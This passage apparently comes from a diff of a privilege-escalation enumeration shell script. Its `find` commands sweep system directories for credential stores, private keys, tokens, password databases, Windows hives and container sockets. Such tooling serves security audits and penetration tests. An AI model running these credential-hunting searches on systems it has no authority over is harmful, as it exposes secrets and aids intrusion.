\"*.sqlite\" -o -name \"glusterfs.key\" -o -name \"https-xampp.conf\" -o -name \"mariadb.cnf\" -o -name \"krb5.conf\" -o -name \"pwd.ibd\" -o -name \"protecteduserkey.bin\" -o -name \"web*.config\" -o -name \"*.ovpn\" -o -name \"software.sav\" -o -name \"*vnc*.txt\" -o -name \"settings.php\" -o -name \"legacy_credentials.db\" -o -name \"AzureRMContext.json\" -o -name \"containerd.sock\" -o -name \"*.sqlite3\" -o -name \"rsyncd.conf\" -o -name \"psk.txt\" -o -name \"RDCMan.settings\" -o -name \"my.ini\" -o -name \"sysprep.inf\" -o -name \".git\" -o -name \"*.jks\" -o -name \"zabbix_agentd.conf\" -o -name \"mongod*.conf\" -o -name \"tomcat-users.xml\" -o -name \"rocketchat.service\" -o -name \"pg_hba.conf\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"iis6.log\" -o -name \"cloud.cfg\" -o -name \"ftp.config\" -o -name \".erlang.cookie\" -o -name \".msmtprc\" -o -name \"*.gpg\" -o -name \".bashrc\" -o -name \"*.pfx\" -o -name \".pypirc\" -o -name \".env\" -o -name \"mosquitto.conf\" -o -name \"*vnc*.xml\" -o -name \"docker.socket\" -o -name \"autologin\" -o -name \"sentry.conf.py\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_VAR=`eval_bckgrd "find /var -name \"*.ftpconfig\" -o -name \"passwd.ibd\" -o -name \"winscp.ini\" -o -name \"gvm-tools.conf\" -o -name \"access.log\" -o -name \"ws_ftp.ini\" -o -name \"my.cnf\" -o -name \"hostapd.conf\" -o -name \"appcmd.exe\" -o -name \"password*.ibd\" -o -name \"id_rsa*\" -o -name \"ipsec.conf\" -o -name \"*vnc*.ini\" -o -name \"*.cer\" -o -name \"security.sav\" -o -name \"AppEvent.Evt\" -o -name \".secrets.mkey\" -o -name \"frakti.sock\" -o -name \"zabbix_server.conf\" -o -name \".vault-token\" -o -name \"gitlab.yml\" -o -name \"authorized_keys\" -o -name \"credentials.db\" -o -name \"cesi.conf\" -o -name \"000-default.conf\" -o -name \"ipsec.secrets\" -o -name \"bash.exe\" -o -name \".github\" -o -name \"KeePass.ini\" -o -name \"pagefile.sys\" -o -name \"db.php\" -o -name \"scclient.exe\" -o -name \"glusterfs.pem\" -o -name \"httpd.conf\" -o -name \"docker-compose.yml\" -o -name \"docker.sock\" -o -name \"postgresql.conf\" -o -name \"*.der\" -o -name \"pgadmin*.db\" -o -name \"dockershim.sock\" -o -name \"*.swp\" -o -name \"wp-config.php\" -o -name \"system.sav\" -o -name \"recentservers.xml\" -o -name \"error.log\" -o -name \"influxdb.conf\" -o -name \".plan\" -o -name \"rktlet.sock\" -o -name \".ldaprc\" -o -name \"unattend.xml\" -o -name \"autologin.conf\" -o -name \"*.timer\" -o -name \"*.keyring\" -o -name \"sitemanager.xml\" -o -name \"database.php\" -o -name \"FreeSSHDservice.ini\" -o -name \"*.kdbx\" -o -name \"ntuser.dat\" -o -name \"https.conf\" -o -name \"*password*\" -o -name \"SecEvent.Evt\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"sysprep.xml\" -o -name \"sites.ini\" -o -name \".sudo_as_admin_successful\" -o -name \"vault-ssh-helper.hcl\" -o -name \"id_dsa*\" -o -name \"*.crt\" -o -name \"scheduledtasks.xml\" -o -name \"*.gnupg\" -o -name \"php.ini\" -o -name \"TokenCache.dat\" -o -name \"fastcgi_params\" -o -name \"KeePass.enforced*\" -o -name \"*.db\" -o -name \"config.php\" -o -name \"*.keytab\" -o -name \"creds*\" -o -name \".htpasswd\" -o -name \"secrets.yml\" -o -name \"server.xml\" -o -name \".wgetrc\" -o -name \"ffftp.ini\" -o -name \".rhosts\" -o -name \"redis.conf\" -o -name \"sssd.conf\" -o -name \"*config*.php\" -o -name \".gitconfig\" -o -name \".profile\" -o -name \"*.csr\" -o -name \"ftp.ini\" -o -name \"unattend.txt\" -o -name \"nginx.conf\" -o -name \"access_tokens.json\" -o -name \".google_authenticator\" -o -name \"glusterfs.ca\" -o -name \"datasources.xml\" -o -name \"*.pem\" -o -name \"*vnc*.c*nf*\" -o -name \"kibana.y*ml\" -o -name \"azureProfile.json\" -o -name \"unattend.inf\" -o -name \"*.psk\" -o -name \"drives.xml\" -o -name \"access_tokens.db\" -o -name \"software\" -o -name \"passwd\" -o -name \"storage.php\" -o -name \"*.key\" -o -name \"ConsoleHost_history.txt\" -o -name \"Ntds.dit\" -o -name \"backups\" -o -name \"elasticsearch.y*ml\" -o -name \"rsyncd.secrets\" -o -name \"SYSTEM\" -o -name \"anaconda-ks.cfg\" -o -name \"gitlab.rm\" -o -name \"Dockerfile\" -o -name \"log4j-core*.jar\" -o -name \"hosts.equiv\" -o -name \"printers.xml\" -o -name \"*.rdg\" -o -name \"*.pgp\" -o -name \".lesshst\" -o -name \".git-credentials\" -o -name \"wcx_ftp.ini\" -o -name \"crio.sock\" -o -name \"ddclient.conf\" -o -name \"*.socket\" -o -name \"pgsql.conf\" -o -name \"setupinfo.bak\" -o -name \"snmpd.conf\" -o -name \"accessTokens.json\" -o -name \"*credential*\" -o -name \"authorized_hosts\" -o -name \"kadm5.acl\" -o -name \"unattended.xml\" -o -name \"default.sav\" -o -name \"*.keystore\" -o -name \"SAM\" -o -name \"racoon.conf\" -o -name \"setupinfo\" -o -name \".recently-used.xbel\" -o -name \"KeePass.config*\" -o -name \"NetSetup.log\" -o -name \"*.viminfo\" -o -name \"supervisord.conf\" -o -name \"debian.cnf\" -o -name \"secrets.ldb\" -o -name \"filezilla.xml\" -o -name \"kcpassword\" -o -name \"groups.xml\" -o -name \"jetty-realm.properties\" -o -name \"*_history*\" -o -name \"backup\" -o -name \"*.service\" -o -name \".k5login\" -o -name \"index.dat\" -o -name \"*.sqlite\" -o -name \"glusterfs.key\" -o -name \"https-xampp.conf\" -o -name \"mariadb.cnf\" -o -name \"krb5.conf\" -o -name \"pwd.ibd\" -o -name \"protecteduserkey.bin\" -o -name \"web*.config\" -o -name \"*.ovpn\" -o -name \"software.sav\" -o -name \"*vnc*.txt\" -o -name \"settings.php\" -o -name \"legacy_credentials.db\" -o -name \"AzureRMContext.json\" -o -name \"containerd.sock\" -o -name \"*.sqlite3\" -o -name \"rsyncd.conf\" -o -name \"psk.txt\" -o -name \"RDCMan.settings\" -o -name \"my.ini\" -o -name \"sysprep.inf\" -o -name \".git\" -o -name \"*.jks\" -o -name \"zabbix_agentd.conf\" -o -name \"mongod*.conf\" -o -name \"tomcat-users.xml\" -o -name \"rocketchat.service\" -o -name \"pg_hba.conf\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"iis6.log\" -o -name \"cloud.cfg\" -o -name \"ftp.config\" -o -name \".erlang.cookie\" -o -name \".msmtprc\" -o -name \"*.gpg\" -o -name \"sess_*\" -o -name \".bashrc\" -o -name \"*.pfx\" -o -name \".pypirc\" -o -name \".env\" -o -name \"mosquitto.conf\" -o -name \"*vnc*.xml\" -o -name \"docker.socket\" -o -name \"autologin\" -o -name \"sentry.conf.py\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_CONCOURSE_AUTH=`eval_bckgrd "find /concourse-auth -name \"*.service\" -o -name \"*.timer\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_CONCOURSE_KEYS=`eval_bckgrd "find /concourse-keys -name \"*.service\" -o -name \"*.timer\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_APPLICATIONS=`eval_bckgrd "find ${ROOT_FOLDER}applications -type d -name \".vnc\" -o -name \".cloudflared\" -o -name \"doctl\" -o -name \"sentry\" -o -name \"dirsrv\" -o -name \"*jenkins\" -o -name \"nginx\" -o -name \"environments\" -o -name \"couchdb\" -o -name \"cacti\" -o -name \"logstash\" -o -name \"ldap\" -o -name \"neo4j\" -o -name \"roundcube\" -o -name \"ipa\" -o -name \".password-store\" -o -name \"legacy_credentials\" -o -name \"filezilla\" -o -name \".kube*\" -o -name \"ErrorRecords\" -o -name \"keyrings\" -o -name \".svn\" -o -name \".docker\" -o -name \"gcloud\" -o -name \"concourse-keys\" -o -name \".bluemix\" -o -name \"mysql\" -o -name \"concourse-auth\" -o -name \"sites-enabled\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"zabbix\" -o -name \"varnish\" -o -name \"postfix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_BIN=`eval_bckgrd "find ${ROOT_FOLDER}bin -type d -name \".vnc\" -o -name \".cloudflared\" -o -name \"doctl\" -o -name \"sentry\" -o -name \"dirsrv\" -o -name \"*jenkins\" -o -name \"nginx\" -o -name \"environments\" -o -name \"couchdb\" -o -name \"cacti\" -o -name \"logstash\" -o -name \"ldap\" -o -name \"neo4j\" -o -name \"roundcube\" -o -name \"ipa\" -o -name \".password-store\" -o -name \"legacy_credentials\" -o -name \"filezilla\" -o -name \".kube*\" -o -name \"ErrorRecords\" -o -name \"keyrings\" -o -name \".svn\" -o -name \".docker\" -o -name \"gcloud\" -o -name \"concourse-keys\" -o -name \".bluemix\" -o -name \"mysql\" -o -name \"concourse-auth\" -o -name \"sites-enabled\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"zabbix\" -o -name \"varnish\" -o -name \"postfix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_CACHE=`eval_bckgrd "find ${ROOT_FOLDER}.cache -type d -name \".vnc\" -o -name \".cloudflared\" -o -name \"doctl\" -o -name \"sentry\" -o -name \"dirsrv\" -o -name \"*jenkins\" -o -name \"nginx\" -o -name \"environments\" -o -name \"couchdb\" -o -name \"cacti\" -o -name \"logstash\" -o -name \"ldap\" -o -name \"neo4j\" -o -name \"roundcube\" -o -name \"ipa\" -o -name \".password-store\" -o -name \"legacy_credentials\" -o -name \"filezilla\" -o -name \".kube*\" -o -name \"ErrorRecords\" -o -name \"keyrings\" -o -name \".svn\" -o -name \".docker\" -o -name \"gcloud\" -o -name \"concourse-keys\" -o -name \".bluemix\" -o -name \"mysql\" -o -name \"concourse-auth\" -o -name \"sites-enabled\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"zabbix\" -o -name \"varnish\" -o -name \"postfix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_CDROM=`eval_bckgrd "find ${ROOT_FOLDER}cdrom -type d -name \".vnc\" -o -name \".cloudflared\" -o -name \"doctl\" -o -name \"sentry\" -o -name \"dirsrv\" -o -name \"*jenkins\" -o -name \"nginx\" -o -name \"environments\" -o -name \"couchdb\" -o -name \"cacti\" -o -name \"logstash\" -o -name \"ldap\" -o -name \"neo4j\" -o -name \"roundcube\" -o -name \"ipa\" -o -name \".password-store\" -o -name \"legacy_credentials\" -o -name \"filezilla\" -o -name \".kube*\" -o -name \"ErrorRecords\" -o -name \"keyrings\" -o -name \".svn\" -o -name \".docker\" -o -name \"gcloud\" -o -name \"concourse-keys\" -o -name \".bluemix\" -o -name \"mysql\" -o -name \"concourse-auth\" -o -name \"sites-enabled\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"zabbix\" -o -name \"varnish\" -o -name \"postfix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_ETC=`eval_bckgrd "find ${ROOT_FOLDER}etc -type d -name \".vnc\" -o -name \".cloudflared\" -o -name \"doctl\" -o -name \"sentry\" -o -name \"system-connections\" -o -name \"dirsrv\" -o -name \"*jenkins\" -o -name \"nginx\" -o -name \"pam.d\" -o -name \"environments\" -o -name \"couchdb\" -o -name \"cacti\" -o -name \"logstash\" -o -name \"ldap\" -o -name \"kube-proxy\" -o -name \"kubernetes\" -o -name \"neo4j\" -o -name \"roundcube\" -o -name \"ipa\" -o -name \".password-store\" -o -name \"legacy_credentials\" -o -name \"filezilla\" -o -name \".kube*\" -o -name \"bind\" -o -name \"ErrorRecords\" -o -name \"keyrings\" -o -name \"kubelet\" -o -name \".svn\" -o -name \".docker\" -o -name \"gcloud\" -o -name \"system.d\" -o -name \"concourse-keys\" -o -name \".bluemix\" -o -name \"mysql\" -o -name \"concourse-auth\" -o -name \"sites-enabled\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"zabbix\" -o -name \"varnish\" -o -name \"postfix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_HOMESEARCH=`eval_bckgrd "find $HOMESEARCH -type d -name \".vnc\" -o -name \".cloudflared\" -o -name \"doctl\" -o -name \"sentry\" -o -name \"dirsrv\" -o -name \"*jenkins\" -o -name \"nginx\" -o -name \"environments\" -o -name \"couchdb\" -o -name \"cacti\" -o -name \"logstash\" -o -name \"ldap\" -o -name \"neo4j\" -o -name \"roundcube\" -o -name \"ipa\" -o -name \".password-store\" -o -name \"legacy_credentials\" -o -name \"filezilla\" -o -name \".kube*\" -o -name \"ErrorRecords\" -o -name \"keyrings\" -o -name \".svn\" -o -name \".docker\" -o -name \"gcloud\" -o -name \"concourse-keys\" -o -name \".bluemix\" -o -name \"mysql\" -o -name \"concourse-auth\" -o -name \"sites-enabled\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"zabbix\" -o -name \"varnish\" -o -name \"postfix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_MEDIA=`eval_bckgrd "find ${ROOT_FOLDER}media -type d -name \".vnc\" -o -name \".cloudflared\" -o -name \"doctl\" -o -name \"sentry\" -o -name \"dirsrv\" -o -name \"*jenkins\" -o -name \"nginx\" -o -name \"environments\" -o -name \"couchdb\" -o -name \"cacti\" -o -name \"logstash\" -o -name \"ldap\" -o -name \"neo4j\" -o -name \"roundcube\" -o -name \"ipa\" -o -name \".password-store\" -o -name \"legacy_credentials\" -o -name \"filezilla\" -o -name \".kube*\" -o -name \"ErrorRecords\" -o -name \"keyrings\" -o -name \".svn\" -o -name \".docker\" -o -name \"gcloud\" -o -name \"concourse-keys\" -o -name \".bluemix\" -o -name \"mysql\" -o -name \"concourse-auth\" -o -name \"sites-enabled\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"zabbix\" -o -name \"varnish\" -o -name \"postfix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_MNT=`eval_bckgrd "find ${ROOT_FOLDER}mnt -type d -name \".vnc\" -o -name \".cloudflared\" -o -name \"doctl\" -o -name \"sentry\" -o -name \"dirsrv\" -o -name \"*jenkins\" -o -name \"nginx\" -o -name \"environments\" -o -name \"couchdb\" -o -name \"cacti\" -o -name \"logstash\" -o -name \"ldap\" -o -name \"neo4j\" -o -name \"roundcube\" -o -name \"ipa\" -o -name \".password-store\" -o -name \"legacy_credentials\" -o -name \"filezilla\" -o -name \".kube*\" -o -name \"ErrorRecords\" -o -name \"keyrings\" -o -name \".svn\" -o -name \".docker\" -o -name \"gcloud\" -o -name \"concourse-keys\" -o -name \".bluemix\" -o -name \"mysql\" -o -name \"concourse-auth\" -o -name \"sites-enabled\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"zabbix\" -o -name \"varnish\" -o -name \"postfix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_OPT=`eval_bckgrd "find ${ROOT_FOLDER}opt -type d -name \".vnc\" -o -name \".cloudflared\" -o -name \"doctl\" -o -name \"sentry\" -o -name \"dirsrv\" -o -name \"*jenkins\" -o -name \"nginx\" -o -name \"environments\" -o -name \"couchdb\" -o -name \"cacti\" -o -name \"logstash\" -o -name \"ldap\" -o -name \"neo4j\" -o -name \"roundcube\" -o -name \"ipa\" -o -name \".password-store\" -o -name \"legacy_credentials\" -o -name \"filezilla\" -o -name \".kube*\" -o -name \"ErrorRecords\" -o -name \"keyrings\" -o -name \".svn\" -o -name \".docker\" -o -name \"gcloud\" -o -name \"concourse-keys\" -o -name \".bluemix\" -o -name \"mysql\" -o -name \"concourse-auth\" -o -name \"sites-enabled\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"zabbix\" -o -name \"varnish\" -o -name \"postfix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_PRIVATE=`eval_bckgrd "find ${ROOT_FOLDER}private -type d -name \".vnc\" -o -name \".cloudflared\" -o -name \"doctl\" -o -name \"sentry\" -o -name \"dirsrv\" -o -name \"*jenkins\" -o -name \"nginx\" -o -name \"environments\" -o -name \"couchdb\" -o -name \"cacti\" -o -name \"logstash\" -o -name \"ldap\" -o -name \"neo4j\" -o -name \"roundcube\" -o -name \"ipa\" -o -name \".password-store\" -o -name \"legacy_credentials\" -o -name \"filezilla\" -o -name \".kube*\" -o -name \"ErrorRecords\" -o -name \"keyrings\" -o -name \".svn\" -o -name \".docker\" -o -name \"gcloud\" -o -name \"concourse-keys\" -o -name \".bluemix\" -o -name \"mysql\" -o -name \"concourse-auth\" -o -name \"sites-enabled\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"zabbix\" -o -name \"varnish\" -o -name \"postfix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_SBIN=`eval_bckgrd "find ${ROOT_FOLDER}sbin -type d -name \".vnc\" -o -name \".cloudflared\" -o -name \"doctl\" -o -name \"sentry\" -o -name \"dirsrv\" -o -name \"*jenkins\" -o -name \"nginx\" -o -name \"environments\" -o -name \"couchdb\" -o -name \"cacti\" -o -name \"logstash\" -o -name \"ldap\" -o -name \"neo4j\" -o -name \"roundcube\" -o -name \"ipa\" -o -name \".password-store\" -o -name \"legacy_credentials\" -o -name \"filezilla\" -o -name \".kube*\" -o -name \"ErrorRecords\" -o -name \"keyrings\" -o -name \".svn\" -o -name \".docker\" -o -name \"gcloud\" -o -name \"concourse-keys\" -o -name \".bluemix\" -o -name \"mysql\" -o -name \"concourse-auth\" -o -name \"sites-enabled\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"zabbix\" -o -name \"varnish\" -o -name \"postfix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_SNAP=`eval_bckgrd "find ${ROOT_FOLDER}snap -type d -name \".vnc\" -o -name \".cloudflared\" -o -name \"doctl\" -o -name \"sentry\" -o -name \"dirsrv\" -o -name \"*jenkins\" -o -name \"nginx\" -o -name \"environments\" -o -name \"couchdb\" -o -name \"cacti\" -o -name \"logstash\" -o -name \"ldap\" -o -name \"neo4j\" -o -name \"roundcube\" -o -name \"ipa\" -o -name \".password-store\" -o -name \"legacy_credentials\" -o -name \"filezilla\" -o -name \".kube*\" -o -name \"ErrorRecords\" -o -name \"keyrings\" -o -name \".svn\" -o -name \".docker\" -o -name \"gcloud\" -o -name \"concourse-keys\" -o -name \".bluemix\" -o -name \"mysql\" -o -name \"concourse-auth\" -o -name \"sites-enabled\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"zabbix\" -o -name \"varnish\" -o -name \"postfix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_SRV=`eval_bckgrd "find ${ROOT_FOLDER}srv -type d -name \".vnc\" -o -name \".cloudflared\" -o -name \"doctl\" -o -name \"sentry\" -o -name \"dirsrv\" -o -name \"*jenkins\" -o -name \"nginx\" -o -name \"environments\" -o -name \"couchdb\" -o -name \"cacti\" -o -name \"logstash\" -o -name \"ldap\" -o -name \"neo4j\" -o -name \"roundcube\" -o -name \"ipa\" -o -name \".password-store\" -o -name \"legacy_credentials\" -o -name \"filezilla\" -o -name \".kube*\" -o -name \"ErrorRecords\" -o -name \"keyrings\" -o -name \".svn\" -o -name \".docker\" -o -name \"gcloud\" -o -name \"concourse-keys\" -o -name \".bluemix\" -o -name \"mysql\" -o -name \"concourse-auth\" -o -name \"sites-enabled\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"zabbix\" -o -name \"varnish\" -o -name \"postfix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_TMP=`eval_bckgrd "find ${ROOT_FOLDER}tmp -type d -name \".vnc\" -o -name \".cloudflared\" -o -name \"doctl\" -o -name \"sentry\" -o -name \"dirsrv\" -o -name \"*jenkins\" -o -name \"nginx\" -o -name \"environments\" -o -name \"couchdb\" -o -name \"cacti\" -o -name \"logstash\" -o -name \"ldap\" -o -name \"neo4j\" -o -name \"roundcube\" -o -name \"ipa\" -o -name \".password-store\" -o -name \"legacy_credentials\" -o -name \"filezilla\" -o -name \".kube*\" -o -name \"ErrorRecords\" -o -name \"keyrings\" -o -name \".svn\" -o -name \".docker\" -o -name \"gcloud\" -o -name \"concourse-keys\" -o -name \".bluemix\" -o -name \"mysql\" -o -name \"concourse-auth\" -o -name \"sites-enabled\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"zabbix\" -o -name \"varnish\" -o -name \"postfix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_USR=`eval_bckgrd "find ${ROOT_FOLDER}usr -type d -name \".vnc\" -o -name \".cloudflared\" -o -name \"doctl\" -o -name \"sentry\" -o -name \"dirsrv\" -o -name \"*jenkins\" -o -name \"nginx\" -o -name \"environments\" -o -name \"couchdb\" -o -name \"cacti\" -o -name \"logstash\" -o -name \"ldap\" -o -name \"neo4j\" -o -name \"roundcube\" -o -name \"ipa\" -o -name \".password-store\" -o -name \"legacy_credentials\" -o -name \"filezilla\" -o -name \".kube*\" -o -name \"bind\" -o -name \"ErrorRecords\" -o -name \"keyrings\" -o -name \".svn\" -o -name \".docker\" -o -name \"gcloud\" -o -name \"concourse-keys\" -o -name \".bluemix\" -o -name \"mysql\" -o -name \"concourse-auth\" -o -name \"sites-enabled\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"zabbix\" -o -name \"varnish\" -o -name \"postfix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_VAR=`eval_bckgrd "find ${ROOT_FOLDER}var -type d -name \".vnc\" -o -name \".cloudflared\" -o -name \"doctl\" -o -name \"sentry\" -o -name \"dirsrv\" -o -name \"*jenkins\" -o -name \"nginx\" -o -name \"environments\" -o -name \"couchdb\" -o -name \"cacti\" -o -name \"logstash\" -o -name \"ldap\" -o -name \"kube-proxy\" -o -name \"kubernetes\" -o -name \"neo4j\" -o -name \"roundcube\" -o -name \"ipa\" -o -name \".password-store\" -o -name \"legacy_credentials\" -o -name \"filezilla\" -o -name \".kube*\" -o -name \"bind\" -o -name \"ErrorRecords\" -o -name \"keyrings\" -o -name \"kubelet\" -o -name \".svn\" -o -name \".docker\" -o -name \"gcloud\" -o -name \"concourse-keys\" -o -name \".bluemix\" -o -name \"mysql\" -o -name \"concourse-auth\" -o -name \"sites-enabled\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"zabbix\" -o -name \"varnish\" -o -name \"postfix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_CONCOURSE_AUTH=`eval_bckgrd "find ${ROOT_FOLDER}concourse-auth -type d -name \"concourse-auth\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_CONCOURSE_KEYS=`eval_bckgrd "find ${ROOT_FOLDER}concourse-keys -type d -name \"concourse-keys\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_APPLICATIONS=`eval_bckgrd "find ${ROOT_FOLDER}applications -name \"*.keytab\" -o -name \"*.keystore\" -o -name \".profile\" -o -name \"master.key\" -o -name \"backups\" -o -name \"mongod*.conf\" -o -name \".wgetrc\" -o -name \"appcmd.exe\" -o -name \"creds*\" -o -name \"*.gnupg\" -o -name \"racoon.conf\" -o -name \"log4j-core*.jar\" -o -name \"*password*\" -o -name \"printers.xml\" -o -name \"my.cnf\" -o -name \"config.php\" -o -name \"*vnc*.c*nf*\" -o -name \"autologin.conf\" -o -name \"snyk.config.json\" -o -name \"php.ini\" -o -name \"zabbix_server.conf\" -o -name \"adc.json\" -o -name \"frakti.sock\" -o -name \"ddclient.conf\" -o -name \"containerd.sock\" -o -name \".plan\" -o -name \"https.conf\" -o -name \"scclient.exe\" -o -name \"iis6.log\" -o -name \"server.xml\" -o -name \"credentials.db\" -o -name \"recentservers.xml\" -o -name \"pgsql.conf\" -o -name \"sentry.conf.py\" -o -name \".google_authenticator\" -o -name \"dockershim.sock\" -o -name \"*credential*\" -o -name \"influxdb.conf\" -o -name \"*.gpg\" -o -name \"tomcat-users.xml\" -o -name \"TokenCache.dat\" -o -name \"*.swp\" -o -name \".lesshst\" -o -name \"atlantis.db\" -o -name \".recently-used.xbel\" -o -name \"amportal.conf\" -o -name \"my.ini\" -o -name \"rsyncd.conf\" -o -name \"*.ovpn\" -o -name \"pgadmin*.db\" -o -name \"id_rsa*\" -o -name \"groups.xml\" -o -name \".msmtprc\" -o -name \"rktlet.sock\" -o -name \".env*\" -o -name \"secrets.yml\" -o -name \"setupinfo\" -o -name \"bitcoin.conf\" -o -name \"crio.sock\" -o -name \"kadm5.acl\" -o -name \"smb.conf\" -o -name \"sssd.conf\" -o -name \"FreePBX.conf\" -o -name \"access.log\" -o -name \"*.rdg\" -o -name \".erlang.cookie\" -o -name \"vsftpd.conf\" -o -name \"plum.sqlite\" -o -name \".pypirc\" -o -name \"*.sqlite3\" -o -name \"ConsoleHost_history.txt\" -o -name \"docker-compose.yml\" -o -name \"kcpassword\" -o -name \"*.csr\" -o -name \"software.sav\" -o -name \"RDCMan.settings\" -o -name \"system.sav\" -o -name \"pg_hba.conf\" -o -name \"ftp.config\" -o -name \"wcx_ftp.ini\" -o -name \"legacy_credentials.db\" -o -name \"krb5cc_*\" -o -name \".boto\" -o -name \"nginx.conf\" -o -name \".roadtools_auth\" -o -name \".credentials.json\" -o -name \"sitemanager.xml\" -o -name \"accessTokens.json\" -o -name \"cesi.conf\" -o -name \"psk.txt\" -o -name \"kibana.y*ml\" -o -name \"unattend.txt\" -o -name \"unattend.xml\" -o -name \"*.pub\" -o -name \"ipsec.conf\" -o -name \"docker.sock\" -o -name \"*.viminfo\" -o -name \".rhosts\" -o -name \"settings.php\" -o -name \".sudo_as_admin_successful\" -o -name \"supervisord.conf\" -o -name \"gitlab.rm\" -o -name \"sip.conf\" -o -name \"docker.socket\" -o -name \"drives.xml\" -o -name \"setupinfo.bak\" -o -name \"secrets.ldb\" -o -name \"id_dsa*\" -o -name \"passbolt.php\" -o -name \"fat.config\" -o -name \"*.tf\" -o -name \"azureProfile.json\" -o -name \"scheduledtasks.xml\" -o -name \"*.pem\" -o -name \"*.tfstate\" -o -name \"api_key\" -o -name \"grafana.ini\" -o -name \".flyrc\" -o -name \"vault-ssh-helper.hcl\" -o -name \"Dockerfile\" -o -name \"*vnc*.ini\" -o -name \"mosquitto.conf\" -o -name \"KeePass.config*\" -o -name \"airflow.cfg\" -o -name \"*.cer\" -o -name \"jetty-realm.properties\" -o -name \"sysprep.xml\" -o -name \"*.sqlite\" -o -name \"wp-config.php\" -o -name \"SecEvent.Evt\" -o -name \"rpcd\" -o -name \"pagefile.sys\" -o -name \"autounattend.xml\" -o -name \"*vnc*.xml\" -o -name \"https-xampp.conf\" -o -name \"webserver_config.py\" -o -name \"datasources.xml\" -o -name \"firebase-tools.json\" -o -name \"passwd.ibd\" -o -name \"snmpd.conf\" -o -name \"rocketchat.service\" -o -name \"*.kdbx\" -o -name \"hostapd.conf\" -o -name \"gvm-tools.conf\" -o -name \"SAM\" -o -name \"sites.ini\" -o -name \".bashrc\" -o -name \"AppEvent.Evt\" -o -name \"*.vmdk\" -o -name \"gitlab.yml\" -o -name \"wsl.exe\" -o -name \"Elastix.conf\" -o -name \"password*.ibd\" -o -name \".github\" -o -name \"glusterfs.ca\" -o -name \".git-credentials\" -o -name \"unattend.inf\" -o -name \"*.db\" -o -name \"*vnc*.txt\" -o -name \"ntuser.dat\" -o -name \"*.service\" -o -name \"*.timer\" -o -name \"*.ftpconfig\" -o -name \"zabbix_agentd.conf\" -o -name \"hudson.util.Secret\" -o -name \"storage.php\" -o -name \"*.der\" -o -name \"snyk.json\" -o -name \"debian.cnf\" -o -name \"bash.exe\" -o -name \".ldaprc\" -o -name \"database.php\" -o -name \"AzureRMContext.json\" -o -name \"Ntds.dit\" -o -name \"filezilla.xml\" -o -name \"hosts.equiv\" -o -name \"NetSetup.log\" -o -name \"httpd.conf\" -o -name \"*config*.php\" -o -name \"authorized_keys\" -o -name \".htpasswd\" -o -name \"db.php\" -o -name \"*.vhdx\" -o -name \"ipsec.secrets\" -o -name \"*.socket\" -o -name \"glusterfs.pem\" -o -name \"rsyncd.secrets\" -o -name \"*_history*\" -o -name \"software\" -o -name \".vault-token\" -o -name \"SYSTEM\" -o -name \"KeePass.ini\" -o -name \"glusterfs.key\" -o -name \"backup\" -o -name \"*.key\" -o -name \"credentials.xml\" -o -name \"krb5.conf\" -o -name \"pwd.ibd\" -o -name \"autologin\" -o -name \"fastcgi_params\" -o -name \"redis.conf\" -o -name \"*.jks\" -o -name \".k5login\" -o -name \"index.dat\" -o -name \".Xauthority\" -o -name \"access_tokens.db\" -o -name \"*.psk\" -o -name \"default.sav\" -o -name \"000-default.conf\" -o -name \"error.log\" -o -name \"winscp.ini\" -o -name \"protecteduserkey.bin\" -o -name \"ws_ftp.ini\" -o -name \"config.xml\" -o -name \"security.sav\" -o -name \"cloud.cfg\" -o -name 